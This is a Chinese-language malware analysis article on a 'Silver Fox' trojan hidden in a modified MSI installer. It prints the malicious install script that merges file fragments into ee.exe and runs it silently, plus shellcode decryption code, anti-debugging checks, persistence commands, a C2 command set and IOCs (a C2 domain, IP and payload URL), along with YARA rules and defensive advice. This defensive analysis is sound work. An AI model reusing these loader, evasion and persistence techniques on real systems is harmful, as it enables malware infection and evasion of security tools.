银狐病毒 MSI 安装包分析:3 阶段载荷解密与 5 种反调试对抗技术拆解

发布时间:2026/7/11 19:59:20
银狐病毒 MSI 安装包分析:3 阶段载荷解密与 5 种反调试对抗技术拆解 银狐病毒MSI安装包技术深度剖析三阶段攻击链与反调试对抗实战引言MSI安装包背后的威胁演进在当今恶意软件攻击手段中利用合法软件安装包作为载体已成为高级威胁的典型特征。近期安全研究人员发现一批伪装成正常软件的MSI安装包其内部隐藏着银狐病毒的多阶段攻击链。这类攻击不仅利用了用户对正规安装程序的心理信任还通过精妙的技术设计规避常规检测。与传统恶意软件不同银狐病毒展现出工业化黑产的典型特征模块化设计、分阶段加载、强对抗检测。其攻击链从MSI安装脚本开始历经二进制文件释放、ShellCode动态解密最终实现远控功能植入。更值得注意的是该样本集成了五种反调试技术形成了一套完整的分析对抗体系。本文将从实战角度出发完整还原攻击链各阶段的技术细节重点剖析反调试机制的实现原理及绕过方法。目标读者需要具备基础的逆向工程知识包括x86汇编理解、Win32 API调用约定、PE文件结构等。通过本文您将获得完整的攻击流程图与关键节点说明ShellCode解密算法的Python实现五种反调试技术的识别特征与对抗方案实战分析中的技巧与陷阱规避方法1. MSI安装阶段的恶意脚本注入1.1 安装包结构分析攻击者修改标准MSI安装包在CustomAction表中植入恶意VBScript代码。通过Orca等MSI编辑器可观察到异常的脚本片段WshShell.Run cmd.exe /c copy /b C:\ww.txtC:\ProgramData\1C:\bb.txt C:\ee.exe, 0, True WshShell.Run cmd.exe /c C:\ee.exe, 0, False这段代码执行了两个关键操作将三个隐藏文件合并为ee.exe静默执行生成的ee.exe文件合并技巧分析ww.txt包含PE文件头和数据目录表ProgramData\1包含.text节区原始数据bb.txt包含重定位表和资源段通过分段存储再组合的方式有效规避了静态检测中对完整PE文件的识别。1.2 安装触发机制恶意脚本通过以下条件触发执行在InstallExecuteSequence表中设置立即执行动作利用InstallUISequence在UI阶段提前触发通过Condition表达式绕过沙箱检测检测规避特征Condition ExpressionNot Version9XINSTALL/Condition Condition ExpressionNot REMOVEINSTALL/Condition2. 二阶段载荷ee.exe的技术剖析2.1 入口点混淆技术原始入口点被修改为跳转指令指向.text节区末端的ShellCode.text:00401000 E9 9B 1F 00 00 jmp loc_402FA0 .text:00402FA0 60 pushad .text:00402FA1 E8 00 00 00 00 call $5反混淆关键步骤定位.text节区末尾的异常代码段重建原始导入表IAT被动态计算修复被破坏的函数调用约定2.2 ShellCode加载流程ee.exe通过以下步骤完成ShellCode准备调用VirtualAlloc分配可执行内存从.text节区提取加密的ShellCode使用简单的XOR算法解密def decrypt_shellcode(data): key 0xFA9EBC09 return bytes([b ^ ((key (8 * (i % 4))) 0xFF) for i, b in enumerate(data)])将解密后的代码复制到分配的内存通过jmp/call指令跳转到ShellCode3. ShellCode的核心对抗技术3.1 动态API解析机制ShellCode不依赖常规导入表而是通过PEB遍历实现API动态获取// 获取kernel32基地址 mov eax, fs:[0x30] mov eax, [eax0x0C] mov eax, [eax0x14] mov eax, [eax] mov eax, [eax] mov hKernel32, [eax0x10] // 解析GetProcAddress地址 mov edx, [hKernel32] mov edi, [edx0x3C] add edi, edx mov edi, [edi0x78] add edi, edx mov esi, [edi0x20] add esi, edx特征识别频繁访问fs:[0x30]PEB位置硬编码DLL名称哈希值如0xA1C5E8D3对应CreateFileA使用LDR_MODULE结构遍历加载模块3.2 五种反调试技术详解技术1进程遍历检测CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); Process32First/Process32Next循环检测以下进程 - OllyDbg.exe - x64dbg.exe - IDA.exe - ProcessHacker.exe绕过方案修改调试器进程名为普通程序名Hook CreateToolhelp32Snapshot返回空列表技术2互斥体检测CreateMutexA(NULL, FALSE, {A30BD1B1-CB43-4604-86F5-56594AEE26A3}); if (GetLastError() ERROR_ALREADY_EXISTS) { ExitProcess(0); }对抗方法在调试器启动前创建同名互斥体Hook CreateMutexA过滤特定名称技术3时间差检测DWORD start GetTickCount64(); // 执行复杂计算 DWORD end GetTickCount64(); if ((end - start) 1000) { DebugBreak(); }解决方案修改GetTickCount64返回值保持合理差值使用硬件断点跳过检测代码段技术4RDTSC指令检测rdtsc push edx push eax call complex_calculation rdtsc sub eax, [esp] sbb edx, [esp4] cmp edx, 0 ja debugger_detected绕过技巧设置TF标志单步执行修改RDTSC返回的EDX:EAX值技术5安全软件进程检测const char* security_processes[] { 360tray.exe, 360sd.exe, 360safe.exe, msmpeng.exe, SecurityHealthSystray.exe }; // 遍历进程匹配名单处理建议分析时关闭安全软件Hook进程枚举函数过滤敏感名称3.3 持久化技术实现样本通过多种方式实现持久化注册表启动项RegSetValueExA( HKEY_CURRENT_USER, Software\\Microsoft\\Windows\\CurrentVersion\\Run, 0, REG_SZ, C:\\ee.exe, strlen(C:\\ee.exe));计划任务创建schtasks /create /tn Updater /tr C:\ee.exe /sc hourly /mo 1服务安装SC_HANDLE scm OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); SC_HANDLE svc CreateService(scm, WinUpdate, Windows Update, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, C:\\ee.exe, NULL, NULL, NULL, NULL, NULL);4. 网络通信与C2交互4.1 通信协议分析样本使用HTTPS与C2服务器通信但有以下特征证书校验绕过InternetSetOptionA(hInternet, INTERNET_OPTION_SECURITY_FLAGS, SECURITY_FLAG_IGNORE_UNKNOWN_CA, sizeof(DWORD));URL解密算法def decrypt_url(enc_data): key bytes.fromhex(35E3E008C7186287) return bytes([enc_data[i] ^ key[i % len(key)] for i in range(len(enc_data))])多阶段下载首次连接获取配置文件二次下载加密payload三次获取实际DLL模块4.2 典型C2指令集指令码功能描述0x01执行系统命令0x02上传文件0x03下载执行0x04屏幕截图0x05键盘记录0x06持久化安装0x07自更新5. 防御检测方案5.1 静态检测特征YARA规则示例rule silverfox_msi { strings: $msi_script WshShell.Run nocase $xor_pattern {49 FF CF 49 FF C7 E8 2E 8E 00 00 EB 00 F1 4C D7} condition: any of them }关键IOC文件路径C:\ee.exe互斥体{A30BD1B1-CB43-4604-86F5-56594AEE26A3}C2域名uiekjxw.net5.2 动态检测建议沙箱检测策略监控MSI安装过程中的异常脚本执行记录非常规的文件合并操作捕获反调试行为特征EDR检测点检测GetTickCount64与rdtsc的异常调用监控进程遍历中的安全软件检测行为分析非常规的HTTPS证书校验策略6. 分析技巧与实战经验6.1 动态分析环境配置推荐工具组合调试器x64dbg ScyllaHide插件监控工具Process Monitor API Monitor网络分析Fiddler WireShark环境准备要点禁用Windows Defender实时防护修改调试器进程名为普通名称如notepad.exe预先设置时间检测绕过断点6.2 典型分析流程静态分析阶段使用PEiD检测加壳情况字符串搜索关键API和URL提取嵌入的ShellCode片段动态调试阶段# 设置关键API断点 bp_list [ GetTickCount64, CreateToolhelp32Snapshot, InternetOpenUrlA, VirtualAlloc ] for api in bp_list: SetBPX(api, ONESHOT)行为监控重点文件系统临时文件创建、自身复制注册表Run键修改、服务创建网络异常域名解析、SSL连接6.3 常见分析陷阱时间炸弹call GetTickCount push eax call 恶意函数 call GetTickCount sub eax, [esp] cmp eax, 1000 jb 正常流程解决方案修改标志寄存器跳过跳转NOP掉整个检测代码块环境感知检测虚拟机特征CPUID指令检查调试器端口0xCC断点扫描内存分页属性检测代码混淆花指令jz/jnz到相同地址动态计算跳转目标栈破坏与修复技巧7. 样本关联与威胁情报7.1 同源样本识别通过以下特征关联银狐家族样本代码相似性相同的ShellCode解密算法一致的互斥体命名规则类似的C2通信结构基础设施重叠共用CDN节点如oss-cn-shanghai.aliyuncs.com相同IP段的C2服务器类似的域名生成算法战术重合都采用MSI安装包作为初始载体相同的反调试技术组合类似的持久化手法7.2 威胁情报整合TTP映射表MITRE ATTCK 技术具体实现T1059.003 (命令行界面)通过cmd.exe执行文件合并T1027 (混淆文件或信息)分段存储PE文件T1055 (进程注入)ShellCode注入到合法进程T1071.001 (应用层协议)HTTPS加密通信T1112 (修改注册表)添加自启动项IOC列表类型值MD5f72eb87712e06a2d4ad2b9d605cb820dURLhxxps://oss3333.oss-cn-shanghai.aliyuncs.com/c.dat域名uiekjxw.netIP43.139.21.174:70008. 防御加固建议8.1 企业防护策略MSI安装包管控启用AppLocker限制MSI执行部署软件限制策略SRP对MSI文件进行数字签名验证终端防护增强启用攻击面减少规则ASR配置Defender攻击防护规则部署EDR解决方案网络层防护SSL解密检查异常HTTPS连接阻断与已知C2的通信监控异常CDN资源下载8.2 分析环境加固调试环境配置清单虚拟机隐藏[HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT] VBOX__-反反调试配置修改PEB.BeingDebugged标志Hook关键检测API模拟正常时间流逝安全隔离使用专用分析网络禁用共享文件夹配置主机防火墙规则结语对抗演进与思考银狐病毒样本展现了现代恶意软件的典型特征——模块化设计、分阶段加载、强对抗性。分析这类样本时传统的静态分析方法已显不足需要结合动态调试、行为监控和网络分析等多种技术手段。在实际分析过程中我常遇到样本突然终止执行的情况后来发现是遗漏了某个反调试检测点。这提醒我们对抗现代恶意软件需要建立系统化的分析流程不能仅依赖单一技术手段。建议初学者从搭建完善的调试环境开始逐步积累反反调试经验。